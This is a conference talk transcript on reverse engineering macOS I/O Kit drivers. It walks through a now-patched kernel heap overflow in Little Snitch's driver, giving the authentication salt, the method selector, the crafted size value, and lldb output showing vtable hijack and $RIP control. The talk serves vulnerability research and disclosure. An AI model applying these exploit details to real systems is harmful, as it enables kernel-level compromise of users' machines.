[RuxCon / EkoParty 2016] Strolling into Ring-0 via I/O Kit Drivers

Due to recent macOS security enhancements such as system integrity protection and signed driver requirements, having root is not what it once was :( Now, in order to fully own a Mac, one generally needs ring-0 code execution.

Not to worry though, there are seem to be many kernel-level vulnerabilities in both Apple and 3rd party drivers! This talk will provide a practical ‘how to’ on reversing engineering I/O Kit drivers in order to search for such bugs. Starting with I/O Kit basics, the talk will then illustratively walk thru the discovery of a (now-patched) 0day which was found during the audit of a common 3rd-party I/O kit driver.

Specifically, we’ll first explore how to reverse-engineer the target I/O Kit driver and its interfaces in order to ‘connect’ to the driver. Then, how to identify and audit the methods where user input is processed in ring-0. Finally details of the subtle bug and control of $RIP will be discussed. A few tangential topics will be explored along the way, such as macOS kernel debugging, macOS specific anti-debugging mechanisms (employed by the 3rd-party product), and the discovery of a core macOS kernel implementation bug that initially prevented the exploitation the I/O Kit driver bug.

Thru this talk, attendees will gain (or enhance) both knowledge and foundations of macOS kernel and I/O Kit reversing. Armed with this know-how, no I/O Kit driver will remain safe :)

Transcript

1. @patrickwardle STROLLING INTO RING-0 via i/o kit drivers
2. WHOIS “leverages the best combination of humans and technology to discover security vulnerabilities in our customers’ web apps, mobile apps, IoT devices and infrastructure endpoints” @patrickwardle security for the 21st century career hobby
3. ring-0 via i/o kit OUTLINE motivations understanding i/o kit ring-0/kext bugz exploitation wrap it up!
4. MOTIVATIONS need ring-0 (and $$!?)
5. hacking used to be easier THE 'GOOD OLD DAYS' } a single exploit was enough to fully compromise a system (and allow for the installation of a persistence implant) } no sandbox no code-signing no 
 sip basically; no protections
6. kernel mode coded execution, a must? TIMES HAVE CHANGED } yes sandbox yes code-signing yes 
 sip kernel bug escalate privileges escape sandbox
 bypass code-signing
 circumvent sip › › › kernel bug no kernel bug? ...gtfo :/ full persistence and capabilities! ›
7. kernel mode coded execution -> $$$ TIMES HAVE CHANGED Apple (iOS) bug bounty program
8. where the bugs at? WHERE TO LOOK? El Capitan 10.11.6 patched kernel bugs: CVE-2016-4625 CVE-2016-4626
 CVE-2016-4633 CVE-2016-4634
 CVE-2016-4647
 CVE-2016-4648
 CVE-2016-4653 › › › › › › › all are bugs in
 i/o kit drivers google proj-0 bugs
9. I/O Kit understanding all thingz
10. XNU's device driver environment I/O KIT self-contained, runtime environment implemented in C++ object-oriented › "Mac OS X and iOS Internals"
 "OS X and iOS Kernel Programming" 
 "IOKit Fundamentals" (apple.com) i/o kit resources › › › "Apple’s object-oriented framework for developing device drivers for OS X" -apple.com
11. user & kernel mode pieces I/O KIT COMPONENTS ring-0 ring-3 'device' drivers } 3rd-party drivers (firewalls, etc) "The user-space API though which a process communicates with a kernel driver is provided by a framework known as 'IOKit.framework'" -OS X & iOS Kernel Programming i/o registry maintained in kernel memory (query-able from user-mode)
12. database of objects (& properties) I/O REGISTRY "a multi-layered hierarchical database, tracking both the [i/o kit] objects and their interrelations" 
 -Mac OS X and iOS Internals IORegistryExplorer
13. a basic template/example I/O KIT DRIVER #include <IOKit/IOLib.h> #define super IOService OSDefineMetaClassAndStructors(com_osxkernel_driver_IOKitTest, IOService) bool com_osxkernel_driver_IOKitTest::init(OSDictionary* dict) { bool res = super::init(dict); IOLog("IOKitTest::init\n"); return res; } IOService* com_osxkernel_driver_IOKitTest::probe(IOService* provider, SInt32* score) { IOService *res = super::probe(provider, score); IOLog("IOKitTest::probe\n"); return res; } bool com_osxkernel_driver_IOKitTest::start(IOService *provider) { bool res = super::start(provider); IOLog("IOKitTest::start\n"); return res; } $ sudo kextload IOKitTest.kext 
 $ grep IOKitTest /var/log/system.log users-Mac kernel[0]: IOKitTest::init users-Mac kernel[0]: IOKitTest::probe users-Mac kernel[0]: IOKitTest::start load kext; output sample i/o kit driver Xcode template
14. 'inter-ring' communications I/O KIT serial port driver open(/dev/xxx) read() / write() other i/o kit drivers find driver; then: I/O Kit Framework read/write 'properties' send control requests today's focus or ring-0 ring-3
15. connecting to a driver (service) I/O KIT //init class, invoke initWithTask() newUserClient(owningTask, ..., type, ...) ring-0 //initializations initWithTask(owningTask, ..., type, ...) IOServiceOpen(...) ›instantiate class invoke class->initWithTask(); ring-3 › ›can verify (user) client "called automatically by I/O Kit when a user process attempts to connect to [a] service." -apple.com
16. invoking driver methods I/O KIT //look up method, invoke super externalMethod(selector, ...) ring-0 //check params, invoke method super::externalMethod(..., dispatch, ...) } selector (method index) ›dispatch = methods[selector] dispatch (method) method_0(); method_1(); method_2(); ring-3
17. example driver interface I/O KIT IOExternalMethodDispatch com_osxkernel_driver_IOKitTestUserClient::sMethods[kTestUserClientMethodCount] = { //kTestUserClientStartTimer(void); {sStartTimer, 0, 0, 0, 0}, //kTestUserClientDelayForTime(const TimerValue* timerValue); {sDelayForTime, 0, sizeof(TimerValue), 0, 0},
 }; IOReturn com_osxkernel_driver_IOKitTestUserClient::externalMethod (uint32_t selector, IOExternalMethodArguments* arguments, IOExternalMethodDispatch* dispatch, OSObject* target, void* reference) { 
 //ensure the requested control selector is within range if(selector >= kTestUserClientMethodCount) return kIOReturnUnsupported; dispatch = (IOExternalMethodDispatch*)&sMethods[selector]; target = this; reference = NULL; return super::externalMethod(selector, arguments, dispatch, target, reference); } entry point, user-mode requests forward request to super, 
 which routes to method i/o kit driver interface array of 'callable' methods
18. IOExternalMethodDispatch struct I/O KIT struct IOExternalMethodDispatch { IOExternalMethodAction function; //function pointer uint32_t checkScalarInputCount; //number of scalar inputs uint32_t checkStructureInputSize; //size of struct input uint32_t checkScalarOutputCount; //number of scalar outputs uint32_t checkStructureOutputSize; //size of struct output }; function pointer & param descriptors IOUserClient.h const IOExternalMethodDispatch ::sMethods[kTestUserClientMethodCount] = { ... {sDelayForTime, 0, sizeof(TimerValue), 0, 0} }; .function = sDelayForTime; .checkScalarInputCount = 0; .checkStructureInputSize = sizeof(TimerValue); .checkScalarOutputCount = 0; .checkStructureOutputSize 0; "The checkScalarInputCount, checkStructureInputSize, checkScalarOutputCount, and checkStructureOutputSize fields allow for sanity-checking of the argument list before passing it along to the target object." -apple.com
19. super's externalMethod() I/O KIT IOReturn IOUserClient::externalMethod( uint32_t selector, IOExternalMethodArguments * args, IOExternalMethodDispatch * dispatch, OSObject * target, void * reference ) { count = dispatch->checkScalarInputCount; if((kIOUCVariableStructureSize != count) && (count != args->scalarInputCount)) return (kIOReturnBadArgument); count = dispatch->checkStructureInputSize; if((kIOUCVariableStructureSize != count) && (count != ((args->structureInputDescriptor) ? args->structureInputDescriptor->getLength() : args->structureInputSize))) { return (kIOReturnBadArgument); } count = dispatch->checkScalarOutputCount; if((kIOUCVariableStructureSize != count) && (count != args->scalarOutputCount)) return (kIOReturnBadArgument); count = dispatch->checkStructureOutputSize; if ((kIOUCVariableStructureSize != count) && (count != ((args->structureOutputDescriptor) ? args->structureOutputDescriptor->getLength() : args->structureOutputSize))) { return (kIOReturnBadArgument); } err = (*dispatch->function)(target, reference, args); check scalar input check struct input check scalar output check struct output finally, call method :) only checks sizes (not values)
20. user 'client' (find/connect) I/O KIT mach_port_t masterPort = 0; io_service_t service = 0;
 
 //get master port IOMasterPort(MACH_PORT_NULL, &masterPort); //get matching service service = IOServiceGetMatchingService(masterPort, IOServiceMatching("com_osxkernel_driver_IOKitTest")); $ ioreg -c IOService com_osxkernel_driver_IOKitTesT { "CFBundleIdentifier" = "com.osxkernel.IOKitTest" "IOMatchCategory" = "com_osxkernel_driver_IOKitTest" "CFBundleIdentifer" = "com.osxkernel.IOKitTest" "IOResourceMatch" = "IOKit } 'finding' i/o kit driver 'ioreg' output 'service name' : com_osxkernel_driver_IOKitTest io_connect_t driverConnection = 0; //open connection IOServiceOpen(service, mach_task_self(), 0, &driverConnection); open/create connection
21. user 'client' (send request) I/O KIT kern_return_t IOConnectCallStructMethod(mach_port_t connection, uint32_t selector, const void *inputStruct, size_t inputStructCnt, void *outputStruct, size_t *outputStructCnt); kern_return_t IOConnectCallScalarMethod(mach_port_t connection, uint32_t selector, const uint64_t *input, uint32_t inputCnt, uint64_t *output, uint32_t *outputCnt); IOKitLib.h IOConnectCall* methods "OS X & iOS Kernel Programming" 
 (chapter 5) struct TimerValue { uint64_t time, uint64_t timebase; }; struct TimerValue timerValue = { .time=500, .timebase=0 }; //make request to driver
 IOConnectCallStructMethod(driverConnection, kTestUserClientDelayForTime, timerValue, sizeof(TimerValue), NULL, 0); send request (w/ struct) selector or
22. FINDING AN I/O KIT DRIVER BUG target: little snitch (v 3.6)
23. a basic plan of attack AUDITING I/O KIT DRIVERS* find a target I/O kit driver enumerate dispatch methods & their parameters fuzz, or manually analyze *here, we're focusing on auditing driver's dispatch methods
24. the de-facto host firewall for macOS LITTLE SNITCH "Little Snitch intercepts connection attempts, and lets you decide how to proceed." -www.obdev.at little snitch alert in the news (red team vs. palantir) big snitch ;)
25. /Library/Extensions/LittleSnitch.kext LITTLE SNITCH'S I/O KIT DRIVER $ less LittleSnitch.kext/Contents/Info.plist <?xml version="1.0" encoding="UTF-8"?> <plist version="1.0"> <dict> <key>CFBundleExecutable</key> <string>LittleSnitch</string> <key>CFBundleIdentifier</key> <string>at.obdev.nke.LittleSnitch</string> <key>CFBundlePackageType</key> <string>KEXT</string> <key>IOKitPersonalities</key> <dict> <key>ODLSNKE</key> <dict> <key>CFBundleIdentifier</key> <string>at.obdev.nke.LittleSnitch</string> <key>IOClass</key> <string>at_obdev_LSNKE</string> <key>IOMatchCategory</key> <string>at_obdev_LSNKE</string> <key>IOProviderClass</key> <string>IOResources</string> <key>IOResourceMatch</key> <string>IOBSD</string> </dict> </dict> ... kext's Info.plist file i/o kit signing info
26. service: 'at_obdev_LSNKE' FIND/CONNECT TO LITTLE SNITCH'S KEXT char -[m097e1b4e m44e2ed6c](void * self, void * _cmd) { sub_10003579a(0x7789); } int sub_10003579a(int arg0) { r15 = arg0; rbx = IOMasterPort(0x0, 0x0);
 r14 = IOServiceGetMatchingService(0x0, IOServiceNameMatching("at_obdev_LSNKE")); r15 = IOServiceOpen(r14, *_mach_task_self_, r15, 0x10006ed58); little snitch daemon (hopper decompilation) $ ioreg -p IOService -l -i | grep LittleSnitch
 | +-o at_obdev_LSNKE <class IORegistryEntry:IOService:at_obdev_LSNKE, ... > | | { | | "IOClass" = "at_obdev_LSNKE" | | "IOMatchCategory" = "at_obdev_LSNKE" | | "IOResourceMatch" = "IOBSD" | | "CFBundleIdentifier" = "at.obdev.nke.LittleSnitch" | | "IOProbeScore" = 18446744073709551615 | | } ioreg output ('ioservice' plane)
27. service: 'at_obdev_LSNKE' FIND/CONNECT TO LITTLE SNITCH'S KEXT mach_port_t masterPort = 0; io_service_t serviceObject = 0; io_connect_t connectPort = 0; //get master port IOMasterPort(MACH_PORT_NULL, &masterPort); //lookup little snitch's ioservice object serviceObject = IOServiceGetMatchingService(masterPort, IOServiceMatching("at_obdev_LSNKE")); //create connection little snitch driver IOServiceOpen(serviceObject, mach_task_self(), 0x7789, &connectPort); custom 'connection' code $ ./connect2LS got master port: 0xb03 got matching service (at_obdev_LSNKE): 0xf03 opened service (0x7789): 0x1003 connected :) ring-0 ring-3
28. 'reachable' kernel methods ENUMERATING AVAILABLE INTERFACES class_externalMethod proc push rbp mov rbp, rsp cmp esi, 16h ja short callSuper mov eax, esi lea rax, [rax+rax*2] lea rcx, IORegistryDescriptorC3::sMethods lea rcx, [rcx+rax*8] ... callSuper: mov rax, cs:IOUserClient_vTable pop rbp jmp qword ptr [rax+860h] IOKitTestUserClient::externalMethod(uint32_t selector, IOExternalMethodArguments* arguments, IOExternalMethodDispatch* dispatch, OSObject* target, void* reference) if(selector <= 16) dispatch = (IOExternalMethodDispatch*)&sMethods[selector]; return super::externalMethod(selector, arguments, dispatch, target, reference); IORegistryDescriptorC3_sMethods IOExternalMethodDispatch <0FFFFFF7FA13ED82Ah, 0, 0, 0, 0> IOExternalMethodDispatch <0FFFFFF7FA13ED832h, 0, 0, 1, 0> IOExternalMethodDispatch <0FFFFFF7FA13ED846h, 0, 0, 0, 83Ch> IOExternalMethodDispatch <0FFFFFF7FA13ED89Ah, 0, 0Ch, 0, 0> IOExternalMethodDispatch <0FFFFFF7FA13ED8D2h, 0, 0, 0, 10h> IOExternalMethodDispatch <0FFFFFF7FA13ED82Ah, 0, 0, 0, 0> IOExternalMethodDispatch <0FFFFFF7FA13ED82Ah, 0, 0, 0, 0> IOExternalMethodDispatch <0FFFFFF7FA13ED8FAh, 0, 20h, 0, 0> IOExternalMethodDispatch <0FFFFFF7FA13ED944h, 0, 10h, 0, 0> IOExternalMethodDispatch <0FFFFFF7FA13ED95Ah, 0, 0, 1, 0> IOExternalMethodDispatch <0FFFFFF7FA13ED97Eh, 0, 0, 1, 0> IOExternalMethodDispatch <0FFFFFF7FA13ED9CEh, 1, 0, 0, 0> IOExternalMethodDispatch <0FFFFFF7FA13EDA84h, 1, 0, 0, 0> IOExternalMethodDispatch <0FFFFFF7FA13EDAC6h, 0, 0, 0, 10h> IOExternalMethodDispatch <0FFFFFF7FA13EDBBAh, 0, 0, 0, 10h> IOExternalMethodDispatch <0FFFFFF7FA13EDBCEh, 0, 0, 0, 80h> IOExternalMethodDispatch <0FFFFFF7FA13EDBFAh, 0, 0, 0, 0> IOExternalMethodDispatch <0FFFFFF7FA13EDC0Eh, 1, 0, 0, 0> IOExternalMethodDispatch <0FFFFFF7FA13EDC22h, 0, 0Ch, 0, 0> IOExternalMethodDispatch <0FFFFFF7FA13EDC36h, 0, 10h, 0, 18h> IOExternalMethodDispatch <0FFFFFF7FA13EDC4Ah, 0, 0, 0, 2Ch> IOExternalMethodDispatch <0FFFFFF7FA13EDC86h, 0, 54h, 0, 0> IOExternalMethodDispatch <0FFFFFF7FA13EDCC2h, 1, 0, 0, 0> class methods ('sMethods') method #7 pseudo code snitch's externalMethod() these are the 'reachable' methods one can invoke from user-mode!
29. ...apply IDA 'struct' IOEXTERNALMETHODDISPATCH STRUCT IORegistryDescriptorC3_sMethods
 ... __const:FFFFFF7F879F7E68 db 0FAh __const:FFFFFF7F879F7E69 db 0D8h __const:FFFFFF7F879F7E6A db 9Eh __const:FFFFFF7F879F7E6B db 87h __const:FFFFFF7F879F7E6C db 7Fh __const:FFFFFF7F879F7E6D db 0FFh __const:FFFFFF7F879F7E6E db 0FFh __const:FFFFFF7F879F7E6F db 0FFh __const:FFFFFF7F879F7E70 db 0 __const:FFFFFF7F879F7E71 db 0 __const:FFFFFF7F879F7E72 db 0 __const:FFFFFF7F879F7E73 db 0 __const:FFFFFF7F879F7E74 db 20h __const:FFFFFF7F879F7E75 db 0 __const:FFFFFF7F879F7E76 db 0 __const:FFFFFF7F879F7E77 db 0 __const:FFFFFF7F879F7E78 db 0 __const:FFFFFF7F879F7E79 db 0 __const:FFFFFF7F879F7E7A db 0 __const:FFFFFF7F879F7E7B db 0 __const:FFFFFF7F879F7E7C db 0 __const:FFFFFF7F879F7E7D db 0 __const:FFFFFF7F879F7E7E db 0 __const:FFFFFF7F879F7E7F db 0 'raw' IOExternalMethodDispatch struct IOExternalMethodDispatch { IOExternalMethodAction function; uint32_t checkScalarInputCount; uint32_t checkStructureInputSize; uint32_t checkScalarOutputCount; uint32_t checkStructureOutputSize; }; IOExternalMethodDispatch struct IORegistryDescriptorC3_sMethods IOExternalMethodDispatch <0FFFFFF7FA13ED8FAh, 0, 20h, 0, 0> assign to structure ...much better!
30. addr, input & output DISPATCH METHOD 0X7 IOExternalMethodDispatch (method 0x7) structure member value description IOExternalMethodAction function 0FFFFFF7FA13ED8FAh addr of the dispatch method checkScalarInputCount 0x0 number of scalar inputs checkStructureInputSize 0x20 size of input structure checkScalarOutputCount 0x0 number of scalar output checkStructureOutputSize 0x0 size of structure output struct IOExternalMethodDispatch { IOExternalMethodAction function; uint32_t checkScalarInputCount; uint32_t checkStructureInputSize; uint32_t checkScalarOutputCount; uint32_t checkStructureOutputSize; }; IOExternalMethodDispatch struct IORegistryDescriptorC3_sMethods IOExternalMethodDispatch <0FFFFFF7FA13ED8FAh, 0, 20h, 0, 0> tl;dr method 0x7 expects an input structure of size 0x20, and produces no output.
31. a closer look... DISPATCH METHOD 0X7 IOExternalMethodDispatch 
 <0FFFFFF7FA13ED8FAh, 0, 20h, 0, 0> 0XFFFFFF7F86FED8FA method_0x7 proc ... mov rax, [rdi] ; 'this' pointer, vTable mov rax, [rax+988h] ; method mov rsi, rdx jmp rax +0x0 __const:FFFFFF7FA13F5A30 vTable ... ... +0x988 __const:FFFFFF7FA13F63B8 dq offset sub_FFFFFF7FA13EABB2 sub_FFFFFF7FA13EABB2 proc mov rbx, rsi mov rdi, [rbx+30h] ; user-mode (ls) struct call sub_FFFFFF7FA13E76BC sub_FFFFFF7FA13E76BC proc near call sub_FFFFFF7FA13E76F7 sub_FFFFFF7FA13E76F7 proc near method 0x7 'call thru' offset value description +0x0 virtual table (vtable) pointer to class's methods +0x8 anything class instance variables memory layout of a C++ object rdi points to 'this'
32. the bug!? DISPATCH METHOD 0X7 sub_FFFFFF7FA13E76F7 proc near mov rbx, rdi ; user-mode struct mov rdi, [rbx+8] ; size test rdi, rdi jz short leave ; invalid size cmp qword ptr [rbx], 0 jz short leave
 mov rsi, cs:allocTag call _OSMalloc ; malloc ... mov rdi, [rbx] ; in buffer mov rdx, [rbx+8] ; size mov rsi, rax ; out buffer 
 call _copyin malloc/copy (IDA) struct lsStruct { void* buffer size_t size; ... }; sub_FFFFFF7FA13E76F7(struct lsStruct* ls) { if( (0 == ls->size) || (NULL == ls->buffer) ) goto bail; kBuffer = OSMalloc(ls->size, tag); if(NULL != kBuffer) copyin(ls->buffer, kBuffer, ls->size); malloc/copy (pseudo-code) how is this a bug!?
33. 32bit size matters ;) DISPATCH METHOD 0X7 void* OSMalloc( uint32_t size ...); libkern/libkern/OSMalloc.h int copyin(..., vm_size_t nbytes ); osfmk/x86_64/copyio.c offset 15 ... 8 7 6 5 4 3 2 1 0 value 1 0 0 0 0 0 0 0 2 64bit 64bit value: 0x100000002 32bit value: 0x100000002 struct lsStruct ls; ls.buffer = <some user addr>; ls.size = 0x100000002; //malloc & copy kBuffer = OSMalloc(0x00000002, tag); if(NULL != kBuffer) copyin(ls->buffer, kBuffer, 0x100000002); vs. kernel heap heap buffer 
 [size: 2 bytes] rest of heap.... heap buffer 
 [size: 2 bytes] rest of heap.... 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 vm_size_t is 64bits! kernel heap
34. OWNING LITTLE SNITCH exploitation?
35. gotta 'authenticate' ISSUE 0X1 method_0x7 proc cmp byte ptr [rdi+0E9h], 0 jz short leave ;buggy code method_0x8 proc MD5Update(var_90, r14 + 0xea, 0x10); MD5Update(var_90, 0x8E6A3FA34C4F4B23, 0x10); MD5Final(0x0FC5C35FAA776E256, var_90); do{ rdx = rcx; rcx = *(int8_t *)(rbp + rax + 0xffffffffffffff60); rcx = rcx ^ *(int8_t *)(rbx + rax); rcx = rcx & 0xff | rdx; rax = rax + 0x1; } while(rax != 0x10); if (rcx == 0x0) *(r14 + 0xe9) = 0x1; connect to Little Snitch driver ('at_obdev_LSNKE') invoke method 0x4 returns 0x10 'random' bytes hash this data, with embedded salt (\x56\xe2\x76\xa7...) invoke method 0x8 to with hash to authenticate unsigned char gSalt[] = "\x56\xe2\x76\xa7\xfa\x35\x5c\xfc \x23\x4b\x4f\x4c\xa3\x3f\x6a\x8e"; 0x0? leave :( flag -> 0x1 :) authenticated; can (now) reach buggy code! set 'auth' flag
36. the bug isn't exploitable!? ISSUE 0X2 kBuffer = OSMalloc(0x00000002, tag); copyin(ls->buffer, kBuffer, 0x100000002); heap buffer 
 [size: 2 bytes] rest of heap.... 0x41 0x41 [ untouched ] only two bytes are copied!? _bcopy(const void *, void *, vm_size_t); /* * Copyin/out from user/kernel * rdi: source address * rsi: destination address * rdx: byte count */ Entry(_bcopy) // TODO: // think about 32 bit or 64 bit byte count movl %edx,%ecx shrl $3,%ecx x86_64/locore.s submit bug report to Apple (2013) Entry(_bcopy) xchgq %rdi, %rsi movl %rdx,%rcx shrl $3,%rcx fixed! (OS X 10.11, 2015) $EDX/$ECX byte count (not $RDX/$RCX) 32bit :(
37. mapped page unmapped page copyin(ls->buffer, kBuffer, ls->size); controlling the heap copy ISSUE 0X3 heap buffer 
 [size: 2 bytes] rest of heap.... 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 panic :( Entry(_bcopy)
 RECOVERY_SECTION RECOVER(_bcopy_fail) rep movsq movl %edx, %ecx andl $7, %ecx RECOVERY_SECTION RECOVER(_bcopy_fail) _bcopy_fail: movl $(EFAULT),%eax ret 'fault toleranance' 0x100FFC 0x101000 struct lsStruct ls; ls.buffer = 0x100FFC ls.size = 0x100000002; heap buffer 
 [size: 2 bytes] rest of heap.... ring-0 ring-3 control exact # of bytes copied into buffer ls struct 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 ? ? ?
38. vTable hijacking ($RIP) SUCCESS! heap buffer 
 [size: 2 bytes] C++ object [0xffffff8029a27e00] 0x41 0x41 0x4141414141414141 allocation size bytes copied # of bytes copied controls: + + attacker controlled vTable pointer (lldb) x/4xg 0xffffff8029a27e00 0xffffff8029a27e00: 0x4141414141414141 0x4141414141414141 0xffffff8029a27e10: 0x4141414141414141 0x4141414141414141 (lldb) reg read $rax rax = 0x4141414141414141 (lldb) x/i $rip -> 0xffffff8020b99fb3: ff 50 20 callq *0x20(%rax) control of $RIP :)
39. reliably exploiting a macOS heap overflow WEAPONIZING "Attacking the XNU Kernel in El Capitan" -luca todesco controlling heap layout
 
 bypassing kALSR bypassing smap/smep payloads (!SIP, etc) "Hacking from iOS 8 to iOS 9" 
 -team pangu "Shooting the OS X El Capitan Kernel Like a Sniper" -liang chen/qidan he } get root 'bring' & load buggy kext exploit & disable SIP run unsigned kernel code, etc SIP/code-sign 'bypass' (buggy) kext still validly signed!
40. CONCLUSIONS wrapping it up
41. take 0x1 VENDOR RESPONSE :\ mov rbx, rdi ; user struct mov edi, [rbx+8] ; size call _OSMalloc mov rdi, [rbx] ; in buffer mov edx, [rbx+8] ; size mov rsi, rax ; out buffer call _copyin fixed the bug
 
 downplayed the bug didn't assign a CVE no credit (i'm ok with that) maybe talking about my exploit!? consistent size users won't patch
42. take 0x2 VENDOR RESPONSE :) articulated bug recommend users update provided credit I'm much impressed! working on assigning CVE emailed to discuss improvements to reporting/response
43. more improvements VENDOR RESPONSE :) ring-0 ring-3 "Little Snitch implements driver checks that attempt to restrict driver connections to particular user applications" 
 -@osxreverser ("Shut up snitch!") ::newUserClient(task_t task, ... ) ::initWithTask() verifyClient() if(clientHash != whitelist) { //deny client connection } called on client connects } i/o kit methods client validation
44. more improvements VENDOR RESPONSE :) ring-0 ring-3 "Shut up snitch!" @osxreverser preventing code-injection 
 (into client) The loader (dyld) will ignore DYLD_INSERT_LIBRARIES, if the binary contains a "__RESTRICT" segment + "__restrict" section
45. free security tools & malware samples OBJECTIVE-SEE(.COM) KnockKnock BlockBlock TaskExplorer Ostiarius OverSight KextViewr RansomWhere?
46. contact me any time :) QUESTIONS & ANSWERS patrick@synack.com @patrickwardle
47. mahalo :) CREDITS - FLATICON.COM - THEZOOOM.COM - ICONMONSTR.COM - HTTP://WIRDOU.COM/2012/02/04/IS-THAT-BAD-DOCTOR/ - HTTP://TH07.DEVIANTART.NET/FS70/PRE/F/ 2010/206/4/4/441488BCC359B59BE409CA02F863E843.JPG 
 - "IOS KERNEL EXPLOITATION --- IOKIT EDITION ---" -STEFANO ESSER - "REVISITING MAC OS X KERNEL ROOTKITS!" -PEDRO VILAÇA (@OSXREVERSER) - "FIND YOUR OWN IOS KERNEL BUG" -XU HAO/XIABO CHEN - "ATTACKING THE XNU KERNEL IN EL CAPITAN" -LUCA TODESCO - "HACKING FROM IOS 8 TO IOS 9" -TEAM PANGU - "SHOOTING THE OS X EL CAPITAN KERNEL LIKE A SNIPER" -LIANG CHEN/QIDAN HE - "OPTIMIZED FUZZING IOKIT IN IOS" -LEI LONG - "MAC OS X AND IOS INTERNALS" -JONATHAN LEVIN - "OS X AND IOS KERNEL PROGRAMMING" -OLE HALVORSEN/DOUGLAS CLARKE - "IOKIT FUZZING, SMETHODS AND IDA" -FERMÍN J. SERNA - "SHUT UP SNITCH!" -PEDRO VILAÇA (@OSXREVERSER) images resources